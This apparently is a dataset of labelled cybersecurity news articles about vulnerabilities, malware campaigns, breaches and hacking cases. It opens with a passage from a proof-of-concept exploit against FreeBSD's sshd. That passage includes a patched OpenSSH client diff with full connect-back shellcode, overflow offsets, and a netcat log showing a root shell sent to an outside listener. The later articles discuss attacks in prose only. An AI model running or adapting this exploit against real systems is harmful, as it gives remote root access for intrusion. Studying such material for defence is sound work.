welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/10i $eip
0x41414141: Cannot access memory at address 0x41414141.
As you can see in the above gdb output we can control EIP completely.
If someone finds out on what this behaviour depends, especially why EIP can
be controlled when starting sshd in the console and can not be easily controlled
when being run from the boot sequence, please drop me an email at
[email protected].
Anyhow this procedure shows that the sshd can be exploited because the instruction
pointer can be fully controlled.
The developed exploit (Proof of Concept only) is a patched OpenSSH 5.8p2 client.
Using a reverse shellcode it will spawn a rootshell.
Only one offset is needed, the position of the shellcode can be found the following way:
h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) set $x=0x08071000
(gdb) while(*++$x!=0x90909090)
>end
(gdb) x/10b $x
The printed address is the beginning of the shellcode nopsled.
Attached is the Proof of Concept as a diff to OpenSSH-5.8p2.
It roughly does the following:
root@debian:~# ./ssh -1 192.168.32.138
root@debian:~# nc -v -l -p 10000
listening on [any] 10000 ...
192.168.32.138: inverse host lookup failed: Unknown host
connect to [192.168.32.128] from (UNKNOWN) [192.168.32.138] 1038
uname -a;id;
FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005 [email protected]:/usr/obj/usr/src/sys/GENERIC i386
uid=0(root) gid=0(wheel) groups=0(wheel)
--
root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c
667a668,717
> // Connect Back Shellcode
>
> #define IPADDR "\xc0\xa8\x20\x80"
> #define PORT "\x27\x10" /* htons(10000) */
>
> char sc[] =
> "\x90\x90"
> "\x90\x90"
> "\x31\xc9" // xor ecx, ecx
> "\xf7\xe1" // mul ecx
> "\x51" // push ecx
> "\x41" // inc ecx
> "\x51" // push ecx
> "\x41" // inc ecx
> "\x51" // push ecx
> "\x51" // push ecx
> "\xb0\x61" // mov al, 97
> "\xcd\x80" // int 80h
> "\x89\xc3" // mov ebx, eax
> "\x68"IPADDR // push dword 0101017fh
> "\x66\x68"PORT // push word 4135
> "\x66\x51" // push cx
> "\x89\xe6" // mov esi, esp
> "\xb2\x10" // mov dl, 16
> "\x52" // push edx
> "\x56" // push esi
> "\x50" // push eax
> "\x50" // push eax
> "\xb0\x62" // mov al, 98
> "\xcd\x80" // int 80h
> "\x41" // inc ecx
> "\xb0\x5a" // mov al, 90
> "\x49" // dec ecx
> "\x51" // push ecx
> "\x53" // push ebx
> "\x53" // push ebx
> "\xcd\x80" // int 80h
> "\x41" // inc ecx
> "\xe2\xf5" // loop -10
> "\x51" // push ecx
> "\x68\x2f\x2f\x73\x68" // push dword 68732f2fh
> "\x68\x2f\x62\x69\x6e" // push dword 6e69622fh
> "\x89\xe3" // mov ebx, esp
> "\x51" // push ecx
> "\x54" // push esp
> "\x53" // push ebx
> "\x53" // push ebx
> "\xb0\xc4\x34\xff"
> "\xcd\x80"; // int 80h
>
679a730,737
> char buffer[8096];
>
> // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1
> memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24);
> memset(buffer+24, '\x90', 5000);
> memcpy(buffer+24+5000, sc, sizeof(sc));
> server_user=buffer;
>
690a749
>
Cheers,
Kingcope
| Vulnerability |
ALERT: Critical RCE Bug in VMware vCenter Server Under Active Attack | https://thehackernews.com/2021/06/alert-critical-rce-bug-in-vmware.html | Malicious actors are actively mass scanning the internet for vulnerable VMware vCenter servers that are unpatched against a critical remote code execution flaw, which the company addressed late last month.
The ongoing activity was detected by Bad Packets on June 3 and corroborated yesterday by security researcher Kevin Beaumont. "Mass scanning activity detected from 104.40.252.159 checking for VMware vSphere hosts vulnerable to remote code execution," tweeted Troy Mursch, chief research officer at Bad Packets.
The development follows the publication of a proof-of-concept (PoC) RCE exploit code targeting the VMware vCenter bug.
Tracked as CVE-2021-21985 (CVSS score 9.8), the issue is a consequence of a lack of input validation in the Virtual SAN (vSAN) Health Check plug-in, which could be abused by an attacker to execute commands with unrestricted privileges on the underlying operating system that hosts the vCenter Server.
Although the flaw was rectified by VMware on May 25, the company strongly urged its customers to apply the emergency change immediately. "In this era of ransomware it is safest to assume that an attacker is already inside the network somewhere, on a desktop and perhaps even in control of a user account, which is why we strongly recommend declaring an emergency change and patching as soon as possible," VMware said.
This is not the first time adversaries have opportunistically mass scanned the internet for vulnerable VMware vCenter servers. A similar remote code execution vulnerability (CVE-2021-21972) that was patched by VMware in February became the target of cyber threat actors attempting to exploit and take control of unpatched systems.
At least 14,858 vCenter servers were found reachable over the internet at the time, according to Bad Packets and Binary Edge.
What's more, a new research from Cisco Talos earlier this week found that the threat actor behind the Python-based Necro bot wormed its way into exposed VMware vCenter servers by abusing the same security weakness to boost the malware's infection propagation capabilities.
| Malware |
Critical Flaws in Intel Processors Leave Millions of PCs Vulnerable | https://thehackernews.com/2017/11/intel-chipset-flaws.html | In past few months, several research groups have uncovered vulnerabilities in the Intel remote administration feature known as the Management Engine (ME) which could allow remote attackers to gain full control of a targeted computer.
Now, Intel has admitted that these security vulnerabilities could "potentially place impacted platforms at risk."
The popular chipmaker released a security advisory on Monday admitting that its Management Engine (ME), remote server management tool Server Platform Services (SPS), and hardware authentication tool Trusted Execution Engine (TXE) are vulnerable to multiple severe security issues that place millions of devices at risk.
The most severe vulnerability (CVE-2017-5705) involves multiple buffer overflow issues in the operating system kernel for Intel ME Firmware that could allow attackers with local access to the vulnerable system to "load and execute code outside the visibility of the user and operating system."
The chipmaker has also described a high-severity security issue (CVE-2017-5708) involving multiple privilege escalation bugs in the operating system kernel for Intel ME Firmware that could allow an unauthorized process to access privileged content via an unspecified vector.
Systems using Intel Manageability Engine Firmware version 11.0.x.x, 11.5.x.x, 11.6.x.x, 11.7.x.x, 11.10.x.x and 11.20.x.x are impacted by these vulnerabilities.
For those unaware, Intel-based chipsets come with ME enabled for local and remote system management, allowing IT administrators to remotely manage and repair PCs, workstations, and servers within their organization.
As long as the system is connected to a line power and a network cable, these remote functions can be performed out of band even when the computer is turned off as it operates independently of the operating system.
Since ME has full access to almost all data on the computer, including its system memory and network adapters, exploitation of the ME flaws to execute malicious code on it could allow for a complete compromise of the platform.
"Based on the items identified through the comprehensive security review, an attacker could gain unauthorised access to the platform, Intel ME feature, and third party secrets protected by the ME, Server Platform Service (SPS), or Trusted Execution Engine (TXE)," Intel said.
Besides running unauthorized code on computers, Intel has also listed some attack scenarios where a successful attacker could crash systems or make them unstable.
Another high-severity vulnerability involves a buffer overflow issue (CVE-2017-5711) in Active Management Technology (AMT) for the Intel ME Firmware that could allow attackers with remote Admin access to the system to execute malicious code with AMT execution privilege.
AMT for Intel ME Firmware versions 8.x, 9.x, 10.x, 11.0.x.x, 11.5.x.x, 11.6.x.x, 11.7.x.x, 11.10.x.x and 11.20.x.x are impacted by this vulnerability.
The worst part is that it's almost impossible to disable the ME feature to protect against possible exploitation of these vulnerabilities.
"The disappointing fact is that on modern computers, it is impossible to completely disable ME," researchers from Positive Technologies noted in a detailed blog post published late August. "This is primarily due to the fact that this technology is responsible for initialization, power management, and launch of the main processor."
Other high severity vulnerabilities impact TXE version 3.0 and SPS version 4.0, leaving millions of computers with the feature at risk. These are described as:
High Severity Flaws in Server Platform Service (SPS)
CVE-2017-5706: This involves multiple buffer overflow issues in the operating system kernel for Intel SPS Firmware that could allow attackers with local access to the system to execute malicious code on it.
CVE-2017-5709: This involves multiple privilege escalation bugs in the operating system kernel in Intel SPS Firmware that could allow an unauthorized process to access privileged content via an unspecified vector.
Both the vulnerabilities impact Intel Server Platform Services Firmware 4.0.x.x.
High Severity Flaws in Intel Trusted Execution Engine (TXE)
CVE-2017-5707: This issue involves multiple buffer overflow flaws in the operating system kernel in Intel TXE Firmware that allow attackers with local access to the system to execute arbitrary code on it.
CVE-2017-5710: This involves multiple privilege escalation bugs in the operating system kernel in Intel TXE Firmware that allow an unauthorized process to access privileged content via an unspecified vector.
Both the vulnerabilities impact Intel Trusted Execution Engine Firmware 3.0.x.x.
Affected Intel Products
Below is the list of the processor chipsets which include the vulnerable firmware:
6th, 7th and 8th Generation Intel Core processors
Xeon E3-1200 v5 and v6 processors
Xeon Scalable processors
Xeon W processors
Atom C3000 processors
Apollo Lake Atom E3900 series
Apollo Lake Pentiums
Celeron N and J series processors
Intel has issued patches across a dozen generations of CPUs to address these security vulnerabilities that affect millions of PCs, servers, and the internet of things devices, and is urging affected customers to update their firmware as soon as possible.
The chipmaker has also published a Detection Tool to help Windows and Linux administrators check if their systems are exposed to any threat.
The company thanked Mark Ermolov and Maxim Goryachy from Positive Technologies Research for discovering CVE-2017-5705 and bringing it to its attention, which forced the chipmaker to review its source code for vulnerabilities.
| Vulnerability |
Hollywood wants Right to use Malware to hack the computers of Pirates | https://thehackernews.com/2013/05/hollywood-wants-right-to-use-malware-to.html | In the constant battle between illegal file sharers (Pirates) and the entertainment industry (Hollywood) supplying the protected digital materials, the pirates have been staying one step ahead, although the industry may soon have a powerful new weapon in their arsenal.
A new report released by the Commission on the Theft of American Intellectual Property suggests the use of malware to fight piracy. In a report, the Commission on the Theft of American Intellectual Property proposed many ways piracy can be combated, including infecting alleged violators' computers with malware that can wreck havoc, including and up to destroying the user's computer.
It would also give the entertainment industry the advantage of tracking those who commit IP theft on-line no matter their location. Though it sounds reasonable on the surface, it is really a bad idea due to the challenge of correctly identifying a cyber attacker, as well as the unavoidable risk of collateral damage.
If you want to read an 84-page report from the Commission on the Theft of American Intellectual Property, then check it out here.
The worrisome fact is that whether you are a pirate of not, the malware will be installed on your computer, discreetly keeping an eye on everything you get off the Internet. If you have some pirated movies or songs on your computer, you could be deemed an IP thief and have nasty things done to your system by rights holders if counterattacks were legalized.
| Malware |
Software Supply-Chain Attack Hits Vietnam Government Certification Authority | https://thehackernews.com/2020/12/software-supply-chain-attack-hits.html | Cybersecurity researchers today disclosed a new supply-chain attack targeting the Vietnam Government Certification Authority (VGCA) that compromised the agency's digital signature toolkit to install a backdoor on victim systems.
Uncovered by Slovak internet security company ESET early this month, the "SignSight" attack involved modifying software installers hosted on the CA's website ("ca.gov.vn") to insert a spyware tool called PhantomNet or Smanager.
According to ESET's telemetry, the breach happened from at least July 23 to August 16, 2020, with the two installers in question — "gca01-client-v2-x32-8.3.msi" and "gca01-client-v2-x64-8.3.msi" for 32-bit and 64-bit Windows systems — tampered to include the backdoor.
"The compromise of a certification authority website is a good opportunity for APT groups, since visitors are likely to have a high level of trust in a state organization responsible for digital signatures," ESET's Matthieu Faou said.
After the attack was reported to VGCA, the certificate authority confirmed that "they were aware of the attack before our notification and that they notified the users who downloaded the trojanized software."
The digital signature tool, mandated by Vietnam's Government Cipher Committee as part of an electronic authentication scheme, is used by the government sector as well as private companies to digitally sign documents using a USB token (also called a PKI token) that stores the digital signature and requires the aforementioned driver to operate.
As a consequence, the only way a user can get infected is when the compromised software hosted on the official website is manually downloaded and executed on the target system.
Once installed, the modified software starts the genuine GCA program to mask the breach and then runs the PhantomNet backdoor that masquerades as a seemingly harmless file named "eToken.exe."
The backdoor — compiled most recently on April 26 — takes the responsibility of collecting system information, with additional malicious capabilities deployed through plugins retrieved from hardcoded command-and-control servers (e.g. "vgca.homeunix[.]org" and "office365.blogdns[.]com") that mimic the names of VGCA and popular productivity software.
ESET said in addition to Vietnam, it saw victims in the Philippines, but their delivery mechanism remains unknown. The ultimate goal of the attackers remains unclear as well, what with little to no information about the post-compromise activity.
If anything, the incident highlights why supply-chain attacks are increasingly becoming a common attack vector among cyberespionage groups, as it allows the adversaries to deploy malware on many computers at the same time covertly.
In November, ESET disclosed a Lazarus campaign in South Korea that used legitimate security software and stolen digital certificates to distribute remote administration tools (RATs) on target systems.
Then last week, it also found that a chat software called Able Desktop, used by 430 government agencies in Mongolia, was abused to deliver the HyperBro backdoor, the Korplug RAT, and another Trojan called Tmanger.
Lastly, a supply-chain attack on SolarWinds Orion software discovered this week was exploited to breach several major US government agencies, including the Departments of Homeland Security, Commerce, Treasury, and State.
"Supply-chain attacks are typically hard to find, as the malicious code is generally hidden among a lot of legitimate code, making its discovery significantly more difficult," Faou concluded.
| Cyber_Attack |
First Large Cyber Espionage Activity against Pakistan Emanating From India | https://thehackernews.com/2013/05/first-large-cyber-espionage-activity.html | Cyber Security researchers have discovered a family of information stealing malware targeting Pakistan that originates out of India.
Norman Shark, the global security leader in malware analysis solutions for enterprises, service providers and government, today released a report detailing a large and sophisticated cyber-attack infrastructure that appears to have originated from India.
The attacks, conducted by private threat actors over a period of three years and still ongoing, showed no evidence of state sponsorship but the primary purpose of the global command-and-control network appears to be intelligence gathering from a combination of national security targets and private sector companies.
Attackers used known vulnerabilities in Microsoft software, chucking malware dubbed HangOver onto target machines, most of which were based in Pakistan, where 511 infections associated with the campaign were detected. HangOver installs keyloggers, takes screenshots and records victims' browser usage, before sending the pilfered data off to remote servers by FTP or HTTP.
The malware installed on the infected computers is primarily designed to steal information, but its functionality can be enhanced with additional modules.
There's also evidence that the attackers are signing their code with an old certificate that was issued in 2011 to Technical and Commercial Consulting Pvt. Ltd., a firm based in New Delhi, India. The certificate had been revoked in late March 2012, but was still in use. Eset contacted VeriSign, which revoked the certificate. Eset found more than 70 binary files signed with the malicious certificate.
The payloads dropped by the malware offer a range from access. ESET discovered downloaders, document uploaders, keyloggers, reverse shells, and payloads with the ability to self-replicate within a network.
There was another association with India in the repeated appearance of the word "Appin". "There seems to be some connection with the Indian security company called Appin Security Group," Norman wrote. Domains used by the attack infrastructure were shown to have been registered by Appin Security Solutions too.
Another firm, Mantra Tech Ventures, was also hosting a number of malicious sites run by the attackers, Norman said.
The report said that the attackers used NirSoft's WebPassView and Mail PassView tools for recovering passwords in email clients and browser stores; the tools were signed by the malicious certificate.
Update: Spokesperson from Appin responded about the Norman's Findings via email "Appin The Appin Security Group is no manner connected or involved with the activities as sought to be implied in the alleged report. As is apparent from the alleged report itself, the same is only a marketing gimmick on the part of Norman AS. The Appin Security Group has already initiated legal proceedings against Norman AS." Abhishek, Corporate Communications Team, Appin Security Group said.
| Malware |
Hacker puts up 167 Million LinkedIn Passwords for Sale | https://thehackernews.com/2016/05/linkedin-account-hack.html | LinkedIn's 2012 data breach was much worse than anybody first thought.
In 2012, LinkedIn suffered a massive data breach in which more than 6 Million users accounts login details, including encrypted passwords, were posted online by a Russian hacker.
Now, it turns out that it was not just 6 Million users who got their login details stolen.
Latest reports emerged that the 2012's LinkedIn data breach may have resulted in the online sale of sensitive account information, including emails and passwords, of about 117 Million LinkedIn users.
Almost after 4 years, a hacker under the nickname "Peace" is offering for sale what he/she claims to be the database of 167 Million emails and hashed passwords, which included 117 Million already cracked passwords, belonging to LinkedIn users.
The hacker, who is selling the stolen data on the illegal Dark Web marketplace "The Real Deal" for 5 Bitcoins (roughly $2,200), has spoken to Motherboard, confirming these logins come from the 2012 data breach.
Since the passwords have been initially encrypted with the SHA1 algorithm, with "no salt," it just took 'LeakedSource', the paid search engine for hacked data, 72 hours to crack roughly 90% of the passwords.
Troy Hunt, an independent researcher who operates "Have I Been Pwned?" site, reached out to a number of the victims who confirmed to Hunt that the leaked credentials were legitimate.
The whole incident proved that LinkedIn stored your passwords in an insecure way and that the company did not make it known exactly how widespread the data breach was at the time.
In response to this incident, a LinkedIn spokesperson informs that the company is investigating the matter.
In 2015, Linkedin also agreed to settle a class-action lawsuit over 2012's security breach by paying a total of $1.25 million to victims in the U.S, means $50 to each of them.
According to the lawsuit, the company violated its privacy policy and an agreement with premium subscribers that promised it would keep their personal information safe.
However, now new reports suggest that a total 167 Million LinkedIn accounts were breached, instead of just 6 million.
Assuming, if at least 30% of hacked LinkedIn Accounts belongs to Americans, then the company has to pay more than $15 Million.
Meanwhile, I recommend you to change your passwords (and keep a longer and stronger one this time) and enable two-factor authentication for your LinkedIn accounts as soon as possible. Also, do the same for other online accounts if you are using same passwords on multiple sites.
| Data_Breaches |
Researchers Spotted Malware Written in Nim Programming Language | https://thehackernews.com/2021/03/researchers-spotted-malware-written-in.html | Cybersecurity researchers have unwrapped an "interesting email campaign" undertaken by a threat actor that has taken to distributing a new malware written in Nim programming language.
Dubbed "NimzaLoader" by Proofpoint researchers, the development marks one of the rare instances of Nim malware discovered in the threat landscape.
"Malware developers may choose to use a rare programming language to avoid detection, as reverse engineers may not be familiar with Nim's implementation, or focused on developing detection for it, and therefore tools and sandboxes may struggle to analyze samples of it," the researchers said.
Proofpoint is tracking the operators of the campaign under the moniker "TA800," who, they say, started distributing NimzaLoader starting February 3, 2021. Prior to the latest raft of activity, TA800 is known to have predominantly used BazaLoader since April 2020.
While APT28 has been previously linked to delivering Zebrocy malware using Nim-based loaders, the appearance of NimzaLoader is yet another sign that malicious actors are constantly retooling their malware arsenal to avoid detection.
Proofpoint's findings have also been independently corroborated by researchers from Walmart's threat intelligence team, who named the malware "Nimar Loader."
Like with the case of BazaLoader, the campaign spotted on February 3 made use of personalized email phishing lures containing a link to a supposed PDF document that redirected the recipient to a NimzaLoader executable hosted on Slack. The executable also made use of a fake Adobe icon as part of its social engineering tricks to deceive the user into downloading the malware.
Once opened, the malware is designed to provide the attackers with access to the victim's Windows systems, alongside capabilities to execute arbitrary commands retrieved from a command-and-control server — including executing PowerShell commands, injecting shellcode into running processes, and even deploy additional malware.
Additional evidence gathered by Proofpoint and Walmart show that NimzaLoader is also being used to download and execute Cobalt Strike as its secondary payload, suggesting that the threat actor is integrating different tactics into its campaigns.
"It is [...] unclear if Nimzaloader is just a blip on the radar for TA800 — and the wider threat landscape — or if Nimzaloader will be adopted by other threat actors in the same way BazaLaoder has gained wide adoption," the researchers concluded.
| Malware |
Google Detects Android Spyware That Spies On WhatsApp, Skype Calls | https://thehackernews.com/2017/11/android-spying-app.html | In an attempt to protect Android users from malware and shady apps, Google has been continuously working to detect and remove malicious apps from your devices using its newly launched Google Play Protect service.
Google Play Protect—a security feature that uses machine learning and app usage analysis to check devices for potentially harmful apps—recently helped Google researchers to identify a new deceptive family of Android spyware that was stealing a whole lot of information on users.
Discovered on targeted devices in African countries, Tizi is a fully-featured Android backdoor with rooting capabilities that installs spyware apps on victims' devices to steal sensitive data from popular social media apps like Facebook, Twitter, WhatsApp, Viber, Skype, LinkedIn, and Telegram.
"The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities," Google said in a blog post. "The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015."
Most Tizi-infected apps are being advertised on social media websites and 3rd-party app stores, tricking users into installing them.
Once installed, the innocent looking app gains root access of the infected device to install spyware, which then first contacts its command-and-control servers by sending an SMS text message with the GPS coordinates of the infected device to a specific number.
Here's How Tizi Gains Root Access On Infected Devices
For gaining root access, the backdoor exploits previously disclosed vulnerabilities in older chipsets, devices, and Android versions, including CVE-2012-4220, CVE-2013-2596, CVE-2013-2597, CVE-2013-2595, CVE-2013-2094, CVE-2013-6282, CVE-2014-3153, CVE-2015-3636, and CVE-2015-1805.
If the backdoor unable to take root access on the infected device due to all the listed vulnerabilities being patched, "it will still attempt to perform some actions through the high level of permissions it asks the user to grant to it, mainly around reading and sending SMS messages and monitoring, redirecting, and preventing outgoing phone calls, " Google said.
Tizi spyware also been designed to communicate with its command-and-control servers over regular HTTPS or using MQTT messaging protocol to receive commands from the attackers and uploading stolen data.
The Tizi backdoor contains various capabilities common to commercial spyware, such as
Stealing data from popular social media platforms including Facebook, Twitter, WhatsApp, Viber, Skype, LinkedIn, and Telegram.
Recording calls from WhatsApp, Viber, and Skype.
Sending and receiving SMS messages.
Accessing calendar events, call log, contacts, photos, and list of installed apps
Stealing Wi-Fi encryption keys.
Recording ambient audio and taking pictures without displaying the image on the device's screen.
So far Google has identified 1,300 Android devices infected by Tizi and removed it.
Majority of which were located in African countries, specifically Kenya, Nigeria, and Tanzania.
How to Protect your Android device from Hackers?
Such Android spyware can be used to target your devices as well, so you if own an Android device, you are strongly recommended to follow these simple steps in order to protect yourself:
Ensure that you have already opted for Google Play Protect.
Download and install apps only from the official Play Store, and always check permissions for each app.
Enable 'verify apps' feature from settings.
Protect your devices with pin or password lock so that nobody can gain unauthorized access to your device when remains unattended.
Keep "unknown sources" disabled while not using it.
Keep your device always up-to-date with the latest security patches.
| Malware |
British Schoolboy Who Hacked CIA Director Gets 2-Year Prison Term | https://thehackernews.com/2018/04/hacker-kane-gamble.html | The British teenager who managed to hack into the online accounts of several high-profile US government employees sentenced to two years in prison on Friday.
Kane Gamble, now 18, hacked into email accounts of former CIA director John Brennan, former Director of National Intelligence James Clapper, former FBI Deputy Director Mark Giuliano, and other senior FBI officials—all from his parent's home in Leicestershire.
Gamble, who went by the online alias Cracka, was just 15 at the time of carrying out those attacks and was the alleged founder of a hacking group calling themselves Crackas With Attitude (CWA).
The notorious pro-Palestinian hacking group carried out a series of embarrassing attacks against U.S. intelligence officials and leaked personal details of 20,000 FBI agents, 9,000 officers from Department of Homeland Security, and some number of DoJ staffers in 2015.
The teenager was arrested in February 2016 at his home in Coalville and pleaded guilty to 8 charges last October of "performing a function with intent to secure unauthorised access" and 2 charges of "unauthorised modification of computer material."
On Friday afternoon in the Old Bailey central criminal court in London, Gamble was finally sentenced after his first sentencing hearing in January was postponed, and the judge ruled that he'll have to serve 2 years at a youth detention center, BBC reported.
While Gamble's defence said he was "naive" and never meant to "harm" any individuals during the court hearing, the judge said he carried out "an extremely nasty campaign of politically-motivated cyber terrorism."
Between June 2015 and February 2016, Gamble posed as Brennan and tricked call center and helpline staff into giving away broadband and cable passwords, using which his team also gained access to extremely sensitive documents for intelligence operations in Afghanistan and Iran.
Besides hacking into their networks, Gamble also taunted his victims and their families, bombarded them with calls and messages, released their personal details, downloaded and installed porn onto their computers and took control of their iPads and TV screens.
Gamble even made hoax calls to Brennan's home and took control of his wife's iPad. At one point, he also sent DHS secretary Johnson a photograph of his daughter and said he would f*** her.
Gamble also phoned Mr. Johnson's wife, leaving a disturbing voicemail message which said: "Hi Spooky, am I scaring you?," and even managed to display the message "I own you" on the couple's home television.
Gamble said he targeted the US government because he was "getting more and more annoyed about how corrupt and cold-blooded the US Government" was and "decided to do something about it."
According to previous reports, Gamble is suffering from an autistic spectrum disorder, and at the time of his offending, he had the mental development of a 12 or 13-year-old.
Gamble's defence had argued court on Friday for a suspended sentence, so he can sit his GCSEs in June and read computer science studies at university to pursue a "useful" career.
Two other members of Crackas With Attitude—Andrew Otto Boggs and Justin Gray Liverman—were arrested by FBI in September 2016 and had already been sentenced to two and five years in federal prison respectively.
| Cyber_Attack |
Hack'em If You Can — U.S. Air Force launches Bug Bounty Program | https://thehackernews.com/2017/04/hack-the-air-force.html | With the growing number of data breaches and cyber attacks, a significant number of companies and organizations have started Bug Bounty programs for encouraging hackers and bug hunters to find and responsibly report vulnerabilities in their services and get rewarded.
Now, following the success of the "Hack the Pentagon" and "Hack the Army" initiatives, the United States Department of Defense (DoD) has announced the launch of the "Hack the Air Force" bug bounty program.
Hacking or breaking into Defense Department networks was illegal once, but after "Hack the Pentagon" initiative, the DoD started rewarding outsiders to finding and reporting weaknesses in its private networks.
"This is the first time the AF [Air Force] has opened up...networks to such a broad scrutiny," Peter Kim, the Air Force Chief Information Security Officer said in a statement. "We have malicious hackers trying to get into our systems every day."
"It'll be nice to have friendly hackers taking a shot and, most importantly, showing us how to improve our cyber security and defense posture. The additional participation from our partner nations greatly widens the variety of experience available to find additional unique vulnerabilities."
The "Hack the Air Force" program is directed by HackerOne, the bug bounty startup that was behind Hack the Pentagon, and Luta Security, the security consulting company driving the U.K. program.
Hackers From The Five Eyes Nations Are Invited
This program will be the DoD's largest bug bounty project as it invites experts and white hat hackers not only from the United States, but also from remaining Five Eyes countries: the United Kingdom, Canada, Australia and New Zealand.
So, only Hackers and bug hunters from the Five Eyes intelligence alliance are eligible to participate in Hack the Air Force.
"This outside approach – drawing on the talent and expertise of our citizens and partner nation citizens – in identifying our security vulnerabilities will help bolster our cyber security," said Air Force Chief of Staff Gen. David L. Goldfein.
"We already aggressively conduct exercises and 'red team' our public facing and critical websites. But this next step throws open the doors and brings additional talent onto our cyber team."
Only Vetted Hackers Can Participate
Only "Vetted Hackers" can participate in Hack the Air Force program, which means the candidates must pass a rigorous background test after registration and have a clean criminal record in order to participate in the program.
However, according to some critics, this process excludes many talented hackers and bug hunters, but this is one of the common conditions across all of the Pentagon's bug bounty programs.
Registration for "Hack the Air Force" will start on May 15 and interested participants should register through HackerOne. The contest will launch on May 30 and last until June 23.
The first DoD bug bounty program, "Hack the Pentagon," came in April 2016, in which over 14,000 participating hackers found 138 vulnerabilities in DoD systems and were awarded over $75,000 in bounties.
Just like Bug Bounty programs offered by several Frontliners in the technology industry, Hack the Air Force is also an exercise for the federal authorities to boost up their security measures and counter the cyber attacks.
| Vulnerability |
TrickBot Linux Variants Active in the Wild Despite Recent Takedown | https://thehackernews.com/2020/10/trickbot-linux-variants-active-in-wild.html | Efforts to disrupt TrickBot may have shut down most of its critical infrastructure, but the operators behind the notorious malware aren't sitting idle.
According to new findings shared by cybersecurity firm Netscout, TrickBot's authors have moved portions of their code to Linux in an attempt to widen the scope of victims that could be targeted.
TrickBot, a financial Trojan first detected in 2016, has been traditionally a Windows-based crimeware solution, employing different modules to perform a wide range of malicious activities on target networks, including credential theft and perpetrate ransomware attacks.
But over the past few weeks, twin efforts led by the US Cyber Command and Microsoft have helped to eliminate 94% of TrickBot's command-and-control (C2) servers that were in use and the new infrastructure the criminals operating TrickBot attempted to bring online to replace the previously disabled servers.
Despite the steps taken to impede TrickBot, Microsoft cautioned that the threat actors behind the botnet would likely make efforts to revive their operations.
TrickBot's Anchor Module
At the end of 2019, a new TrickBot backdoor framework called Anchor was discovered using the DNS protocol to communicate with C2 servers stealthily.
The module "allows the actors — potential TrickBot customers — to leverage this framework against higher-profile victims, said SentinelOne, adding the "ability to seamlessly integrate the APT into a monetization business model is evidence of a quantum shift."
Indeed, IBM X-Force spotted new cyberattacks earlier this April revealing collaboration between FIN6 and TrickBot groups to deploy the Anchor framework against organizations for financial profit.
The variant, dubbed "Anchor_DNS," enables the infected client to utilize DNS tunneling to establish communications with the C2 server, which in turn transmits data with resolved IPs as a response, NTT researchers said in a 2019 report.
But a new sample uncovered by Stage 2 Security researcher Waylon Grange in July found that Anchor_DNS has been ported to a new Linux backdoor version called "Anchor_Linux."
"Often delivered as part of a zip, this malware is a lightweight Linux backdoor," Grange said. "Upon execution it installs itself as a cron job, determines the public IP [address] for the host and then begins to beacon via DNS queries to its C2 server."
How the C2 Communication Works Using Anchor
Netscout's latest research decodes this flow of communication between the bot and the C2 server. During the initial setup phase, the client sends "c2_command 0" to the server along with information about the compromised system and the bot ID, which then responds with the message "signal /1/" back to the bot.
As an acknowledgment, the bot sends the same message back to the C2, following which the server remotely issues the command to be executed on the client. In the last step, the bot sends back the result of the execution to the C2 server.
"Every part of communication made to the C2 follows a sequence of 3 different DNS queries," Netscout security researcher Suweera De Souza said.
The result of the third query is a list of IP addresses that are subsequently parsed by the client to build the executable payload.
The last piece of data sent by the C2 server corresponds to a range of commands (numbered 0-14 in Windows, and 0-4, 10-12, and 100 in Linux) for the bot to execute the payload via cmd.exe or by injecting it into multiple running processes such as Windows File Explorer or Notepad.
"The complexity of Anchor's C2 communication and the payloads that the bot can execute reflect not only a portion of the Trickbot actors' considerable capabilities, but also their ability to constantly innovate, as evidenced by their move to Linux," De Souza said.
| Malware |
Chinese hackers who breached Google in 2010 gained access to thousands of surveillance orders | https://thehackernews.com/2013/05/chinese-hackers-who-breached-google-in.html | In 2010, as part of what has been dubbed as Operation Aurora, Chinese hackers infiltrated a special database within Google's systems and gained access to a sensitive database worth of information about American surveillance targets.
Google reported the hack publicly years ago, saying that the sophisticated attack resulted in the theft of Google intellectual property and the partial compromise of some human rights activists' email accounts.
When the news first surfaced in 2010, Google said hackers stole the source code behind its search engine, and targeted email accounts of activists critical of China's human rights record. But recently discovered that the hackers also obtained surveillance information, including emails belonging to suspected spies, diplomats and terrorists which law enforcement officials had been monitoring. Google reported this breach to the FBI, resulting in a national security investigation.
According to the sources, hackers were after the names of Chinese intelligence operatives who were the target of American surveillance. The extent of the compromise is not known. An FBI investigation did not uncover any evidence that the information had been used to hurt national security, and Google tightened its defenses in the aftermath.
Last month, a senior Microsoft official suggested Chinese hackers had targeted the company's servers about the same time Google's system was compromised. The official said Microsoft concluded that whoever was behind the breach was seeking to identify accounts that had been tagged for surveillance by US national security and law enforcement agencies.
The Operation Aurora attacks reportedly targeted at least 34 companies, including Adobe, Juniper, Rackspace, Symantec, Northrop Grumman, Morgan Stanley and Yahoo.
However, as with the 2010 attacks, the Chinese government has flatly denied it is involved with any of the recent hacking or cyber espionage.
| Malware |
